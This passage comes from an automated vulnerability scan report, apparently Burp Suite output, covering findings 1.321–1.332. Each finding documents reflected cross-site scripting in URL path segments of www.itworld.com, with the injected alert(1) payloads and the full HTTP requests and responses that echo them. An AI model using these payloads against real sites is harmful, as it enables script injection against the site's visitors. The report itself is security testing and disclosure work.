Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:40 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460220"
Content-Type: text/html; charset=utf-8
Content-Length: 58150
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:42 GMT
X-Varnish: 252447696
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/views_slideshowc1fdc"><script>alert(1)</script>2ed38fcd23/contrib/views_slideshow_singleframe/views_slideshow.js?h"/>
...[SNIP]...

1.321. http://www.itworld.com/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f5313"-alert(1)-"4d09dd6f53c was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_singleframef5313"-alert(1)-"4d09dd6f53c/views_slideshow.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:08 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460308"
Content-Type: text/html; charset=utf-8
Content-Length: 57939
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:24 GMT
X-Varnish: 1038159824
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_singleframef5313"-alert(1)-"4d09dd6f53c/views_slideshow.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.
...[SNIP]...

1.322. http://www.itworld.com/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js [REST URL parameter 8] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js

Issue detail

The value of REST URL parameter 8 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 64132"><script>alert(1)</script>f2d395bed87 was submitted in the REST URL parameter 8. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js64132"><script>alert(1)</script>f2d395bed87?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:36 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460336"
Content-Type: text/html; charset=utf-8
Content-Length: 58160
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:45 GMT
X-Varnish: 1038160704
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js64132"><script>alert(1)</script>f2d395bed87?h"/>
...[SNIP]...

1.323. http://www.itworld.com/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js [REST URL parameter 8] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js

Issue detail

The value of REST URL parameter 8 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 66cb9"-alert(1)-"4a8f9cea684 was submitted in the REST URL parameter 8. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js66cb9"-alert(1)-"4a8f9cea684?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:53 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460353"
Content-Type: text/html; charset=utf-8
Content-Length: 57940
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:55 GMT
X-Varnish: 1038161312
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js66cb9"-alert(1)-"4a8f9cea684";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.324. http://www.itworld.com/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload daa7d"-alert(1)-"df7fa6b3c2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sitesdaa7d"-alert(1)-"df7fa6b3c2/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:21:34 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460094"
Content-Type: text/html; charset=utf-8
Content-Length: 57953
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:21:38 GMT
X-Varnish: 1959725564
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sitesdaa7d"-alert(1)-"df7fa6b3c2/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
...[SNIP]...

1.325. http://www.itworld.com/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b10d1"><script>alert(1)</script>e49a902ed35 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sitesb10d1"><script>alert(1)</script>e49a902ed35/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:21:06 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460066"
Content-Type: text/html; charset=utf-8
Content-Length: 58184
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:21:08 GMT
X-Varnish: 1959724560
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sitesb10d1"><script>alert(1)</script>e49a902ed35/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js?h"/>
...[SNIP]...

1.326. http://www.itworld.com/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ad248"><script>alert(1)</script>32fbd087bd9 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modulesad248"><script>alert(1)</script>32fbd087bd9/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:25 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460145"
Content-Type: text/html; charset=utf-8
Content-Length: 58183
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:39 GMT
X-Varnish: 252446266
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modulesad248"><script>alert(1)</script>32fbd087bd9/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js?h"/>
...[SNIP]...

1.327. http://www.itworld.com/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bc5fe"-alert(1)-"d82f3b5959a was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modulesbc5fe"-alert(1)-"d82f3b5959a/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:50 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460170"
Content-Type: text/html; charset=utf-8
Content-Length: 57964
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:53 GMT
X-Varnish: 252446682
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
S";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modulesbc5fe"-alert(1)-"d82f3b5959a/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="5
...[SNIP]...

1.328. http://www.itworld.com/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 86fa0"-alert(1)-"38eecd00d1f was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib86fa0"-alert(1)-"38eecd00d1f/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:28 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460208"
Content-Type: text/html; charset=utf-8
Content-Length: 57970
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:29 GMT
X-Varnish: 252447386
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib86fa0"-alert(1)-"38eecd00d1f/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s
...[SNIP]...

1.329. http://www.itworld.com/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2b993"><script>alert(1)</script>224dedd858e was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib2b993"><script>alert(1)</script>224dedd858e/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:14 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460194"
Content-Type: text/html; charset=utf-8
Content-Length: 58190
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:16 GMT
X-Varnish: 252447057
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib2b993"><script>alert(1)</script>224dedd858e/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js?h"/>
...[SNIP]...

1.330. http://www.itworld.com/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 32b9b"-alert(1)-"2195a44e007 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/views_slideshow32b9b"-alert(1)-"2195a44e007/contrib/views_slideshow_thumbnailhover/views_slideshow.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:56 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460236"
Content-Type: text/html; charset=utf-8
Content-Length: 57969
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:24:00 GMT
X-Varnish: 252448268
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/views_slideshow32b9b"-alert(1)-"2195a44e007/contrib/views_slideshow_thumbnailhover/views_slideshow.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! W
...[SNIP]...

1.331. http://www.itworld.com/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5eb61"><script>alert(1)</script>627d1a2e92d was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/views_slideshow5eb61"><script>alert(1)</script>627d1a2e92d/contrib/views_slideshow_thumbnailhover/views_slideshow.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:41 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460221"
Content-Type: text/html; charset=utf-8
Content-Length: 58189
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:46 GMT
X-Varnish: 252447718
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/views_slideshow5eb61"><script>alert(1)</script>627d1a2e92d/contrib/views_slideshow_thumbnailhover/views_slideshow.js?h"/>
...[SNIP]...

1.332. http://www.itworld.com/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ae446"-alert(1)-"f8f65819ad1 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

